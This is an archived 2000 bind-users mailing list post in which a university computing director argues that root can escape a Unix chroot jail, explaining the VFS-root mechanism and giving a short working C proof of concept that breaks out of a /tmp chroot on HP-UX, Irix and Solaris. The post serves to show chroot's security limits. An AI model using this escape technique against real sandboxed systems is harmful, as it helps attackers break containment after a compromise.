chroot-jail ?? whats this

Doug Siebert dsiebert at icaen.uiowa.edu
Fri Mar 3 02:54:03 UTC 2000


Cedric Puddy <cedric at itactics.itactics.com> writes:

>On 29 Feb 2000, Doug Siebert wrote:

>> chdir("/");
>> chroot("somedir");
>> chdir("../../../../../.."); /* as many as needed to get to real / */
>> chroot(".");
>> 
>> This works in every Unix I'm aware of, due to the way chroot() is
>> implemented.  It is possible some versions have changed things so that
>> chroot() does an implicit chdir(), but then it violates POSIX.
>> 
>> There really is a reason why people keep saying that chroot() really
>> doesn't buy you much security...

>Well, I can't seem to make it work on any of mine.  So I took
>the time to do some digging, and ask some people I know 
>(kernel developer types, and a guy who goes to the posix 
>meetings), and the responses I get are that it is "highly
>non trivial" for root to escape a chroot prision.


Try this, it works on HP-UX (10.20), Irix (6.5.4) and Solaris (2.6), at
least -- I didn't try anything else since I didn't have easy access to
them at this exact moment.  The reason it works is because chroot() on
most, if not necessarily all, versions of Unix is implemented as keeping
track of a VFS pointer to the "root".  By doing a chroot to a directory
below the current one without chdir'ing there, you bypass the checks
that would otherwise be done when visiting "..".

Assuming something is running as root in the chroot() area, exploit is
no more difficult than any other buffer overflow attack, you just need
to do code for a few system calls instead of exec'ing /bin/sh -- it'll
keep the true kiddies away, at least until someone writes chroot()
escape shellcode.  Obviously if you are running non-root in the chroot()
jail this is no problem, but someone mentioned that and seemed to imply
that root in a chroot() jail is fairly safe, when it most certainly is
not!


#include <sys/stat.h>

main()
{
  struct stat stb;

  stat("/", &stb);
  printf("at first / is ino %d\n", stb.st_ino);
  chroot("/tmp");
  chdir("/");
  if (!fork()) {
    stat("/", &stb);
    printf("after chroot / is ino %d\n", stb.st_ino);
    _exit(0);
  }
  mkdir("fooyoo", 0600);
  chroot("fooyoo");
  chdir("..");
  chroot(".");
  stat("/", &stb);
  printf("after rescue / is ino %d\n", stb.st_ino);
}

-- 
Douglas Siebert                Director of Computing Facilities
douglas-siebert at uiowa.edu      Division of Mathematical Sciences, U of Iowa

I'm planning on being dead for most of the new millennium, how about you?



More information about the bind-users mailing list